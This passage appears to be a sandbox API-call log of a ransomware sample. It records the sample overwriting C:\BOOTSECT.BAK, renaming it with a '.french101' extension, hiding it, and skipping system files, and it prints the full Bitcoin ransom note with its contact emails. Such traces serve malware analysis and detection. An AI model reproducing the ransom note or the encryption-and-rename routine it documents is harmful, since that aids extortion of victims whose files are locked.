lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.420] CharLowerBuffW (in: lpsz=".BAK", cchLength=0x4 | out: lpsz=".bak") returned 0x4 [0264.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bak", cchWideChar=4, lpMultiByteStr=0x19de58, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bakw", lpUsedDefaultChar=0x0) returned 4 [0264.420] FindFirstFileW (in: lpFileName="C:\\BOOTSECT.BAK", lpFindFileData=0x19ebf8 | out: lpFindFileData=0x19ebf8) returned 0x6da210 [0264.420] FileTimeToLocalFileTime (in: lpFileTime=0x19ec0c, lpLocalFileTime=0x19eb18 | out: lpLocalFileTime=0x19eb18) returned 1 [0264.420] FileTimeToDosDateTime (in: lpFileTime=0x19eb18, lpFatDate=0x19ebda, lpFatTime=0x19ebd8 | out: lpFatDate=0x19ebda, lpFatTime=0x19ebd8) returned 1 [0264.420] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0264.420] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x20) returned 1 [0264.421] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x2000 [0264.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=8192, lpDistanceToMoveHigh=0x19eb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb10*=0) returned 0x2000 [0264.421] WriteFile (in: hFile=0x378, lpBuffer=0x3f31bd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19eb24, lpOverlapped=0x0 | out: lpBuffer=0x3f31bd8*, lpNumberOfBytesWritten=0x19eb24*=0x1, lpOverlapped=0x0) returned 1 [0264.422] CloseHandle (hObject=0x378) returned 1 [0264.457] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.457] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.457] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x2001 [0264.457] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.457] SetFilePointer (in: hFile=0x378, lDistanceToMove=8192, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x2000 [0264.457] SetEndOfFile (hFile=0x378) returned 1 [0264.458] CloseHandle (hObject=0x378) returned 1 [0264.458] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.458] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.458] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x2000 [0264.458] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.459] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.459] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.459] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x2000 [0264.459] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.459] ReadFile (in: hFile=0x378, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19eb18*=0x400, lpOverlapped=0x0) returned 1 [0264.460] GlobalLock (hMem=0x3f40014) returned 0x3ae3600 [0264.460] GlobalLock (hMem=0x3f40004) returned 0x3ae5610 [0264.460] GlobalHandle (pMem=0x3ae3600) returned 0x3f40014 [0264.460] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.460] GlobalHandle (pMem=0x3ae5610) returned 0x3f40004 [0264.460] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.460] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.460] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.460] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.460] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eb04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb04*=0) returned 0x0 [0264.460] WriteFile (in: hFile=0x378, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19eb18*=0x400, lpOverlapped=0x0) returned 1 [0264.460] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x400 [0264.460] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x2000 [0264.460] SetFilePointer (in: hFile=0x378, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x400 [0264.460] SetFilePointer (in: hFile=0x378, lDistanceToMove=8192, lpDistanceToMoveHigh=0x19eb04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb04*=0) returned 0x2000 [0264.460] WriteFile (in: hFile=0x378, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19eb18*=0x18, lpOverlapped=0x0) returned 1 [0264.474] WriteFile (in: hFile=0x378, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19eb18*=0xb2, lpOverlapped=0x0) returned 1 [0264.474] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.474] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.474] CloseHandle (hObject=0x378) returned 1 [0264.476] MoveFileW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\0CwF8lftsEXdJY+5HdQoCyPOgwgzMKve.french101" (normalized: "c:\\0cwf8lftsexdjy+5hdqocypogwgzmkve.french101")) returned 1 [0264.477] CreateFileW (lpFileName="C:\\0CwF8lftsEXdJY+5HdQoCyPOgwgzMKve.french101" (normalized: "c:\\0cwf8lftsexdjy+5hdqocypogwgzmkve.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.477] SetFileTime (hFile=0x378, lpCreationTime=0x19ebc4, lpLastAccessTime=0x19ebbc, lpLastWriteTime=0x19ebb4) returned 1 [0264.477] CloseHandle (hObject=0x378) returned 1 [0264.477] SetFileAttributesW (lpFileName="C:\\0CwF8lftsEXdJY+5HdQoCyPOgwgzMKve.french101", dwFileAttributes=0x27) returned 1 [0264.477] CloseHandle (hObject=0x378) returned 0 [0264.477] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.477] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.477] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.477] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.477] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.477] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.477] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.477] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.478] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.478] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.478] FindFirstFileW (in: lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19ec10 | out: lpFindFileData=0x19ec10) returned 0x6da2d0 [0264.478] FileTimeToLocalFileTime (in: lpFileTime=0x19ec24, lpLocalFileTime=0x19eba4 | out: lpLocalFileTime=0x19eba4) returned 1 [0264.478] FileTimeToDosDateTime (in: lpFileTime=0x19eba4, lpFatDate=0x19ebf2, lpFatTime=0x19ebf0 | out: lpFatDate=0x19ebf2, lpFatTime=0x19ebf0) returned 1 [0264.478] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0264.478] CreateFileW (lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x0 [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x87f [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x0 [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x0 [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x87f [0264.478] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19edf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19edf8*=0) returned 0x0 [0264.478] ReadFile (in: hFile=0x378, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19ee1c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19ee1c*=0x87f, lpOverlapped=0x0) returned 1 [0264.479] CloseHandle (hObject=0x378) returned 1 [0264.479] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.479] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.479] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.479] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.479] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.479] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.479] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.479] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.479] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.479] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.479] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.479] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.479] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.479] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.479] CharLowerBuffW (in: lpsz="hiberfil.sys", cchLength=0xc | out: lpsz="hiberfil.sys") returned 0xc [0264.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.482] CharLowerBuffW (in: lpsz=".sys", cchLength=0x4 | out: lpsz=".sys") returned 0x4 [0264.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".sys", cchWideChar=4, lpMultiByteStr=0x19de58, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".sysw", lpUsedDefaultChar=0x0) returned 4 [0264.482] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.482] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.482] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.482] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.482] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.482] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.482] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.482] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.483] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.483] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.483] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.483] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.483] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.483] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.483] CharLowerBuffW (in: lpsz="pagefile.sys", cchLength=0xc | out: lpsz="pagefile.sys") returned 0xc [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.483] CharLowerBuffW (in: lpsz=".sys", cchLength=0x4 | out: lpsz=".sys") returned 0x4 [0264.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".sys", cchWideChar=4, lpMultiByteStr=0x19de58, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".sysw", lpUsedDefaultChar=0x0) returned 4 [0264.484] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.484] FindNextFileW (in: 